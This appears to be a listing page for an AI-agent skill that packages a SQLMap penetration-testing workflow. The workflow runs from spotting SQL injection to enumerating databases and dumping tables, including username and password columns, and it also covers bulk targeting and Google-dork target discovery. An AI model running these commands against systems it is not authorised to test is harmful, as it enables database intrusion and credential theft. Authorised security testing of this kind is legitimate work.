academic-paper-reviewe…
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with…
This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides
$ npx -y skills add zebbern/claude-code-guide --skill sqlmap-database-pentesting --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/sqlmap-database-pentestingContext preview
The summary Claude sees to decide when to auto-load this skill.
This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides
name: sqlmap-database-pentesting description: This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities. metadata: author: zebbern version: "1.1"
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
# Add single quote to break query http://target.com/page.php?id=1' # If error message appears, likely SQL injectable # Error example: "You have an error in your SQL syntax"
# Basic vulnerability detection sqlmap -u "http://target.com/page.php?id=1" --batch # With verbosity for detailed output sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
**Key Options:**
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
**Key Options:**
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
**Key Options:**
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
**Key Options:**
# Save Burp Suite request to file, then: sqlmap -r /path/to/request.txt --dbs --batch
# Feed log file with multiple requests sqlmap -l /path/to/logfile --dbs --batch
# Create file with URLs, one per line: # http://target1.com/page.php?id=1 # http://target2.com/page.php?id=2 sqlmap -m /path/to/bulkfile.txt --dbs --batch
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY) sqlmap -g "inurl:?id= site:yourdomain.com" --batch
| Stage | Command | |-------|---------| | List Databases | `sqlmap -u "URL" --dbs --batch` | | List Tables | `sqlmap -u "URL" -D dbname --tables --batch` | | List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` | | Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` | | Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |
| DBMS | Support Level | |------|---------------| | MySQL | Full Support | | PostgreSQL | Full Support | | Microsoft SQL Server | Full Support | | Oracle | Full Support | | Microsoft Access | Full Support | | IBM DB2 | Full Support | | SQLite | Full Support | | Firebird | Full Support | | Sybase | Full Support | | SAP MaxDB | Full Support | | HSQLDB | Full Support | | Informix | Full Support |
| Technique | Description | Flag | |-----------|-------------|------| | Boolean-based blind | Infers data from true/false responses | `--technique=B` | | Time-based blind | Uses time delays to infer data | `--technique=T` | | Error-based | Extracts data from error messages | `--technique=E` | | UNION query-based | Uses UNION to append results | `--technique=U` | | Stacked queries | Executes multiple statements | `--technique=S` | | Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |
| Option | Description | |--------|-------------| | `-u` | Target URL | | `-r` | Load HTTP request from file | | `-l` | Parse targets from Burp/WebScarab log | | `-m` | Bulk file with multiple targets | | `-g` | Google dork (use responsibly) | | `--dbs` | Enumerate databases | | `--table
Claude Code Guide - Setup, Commands, workflows, agents, skills & tips-n-tricks from beginner to power user!
Repo: zebbern/claude-code-guide
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with…
This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration",…
This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API…
Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface…
Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance…
Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use…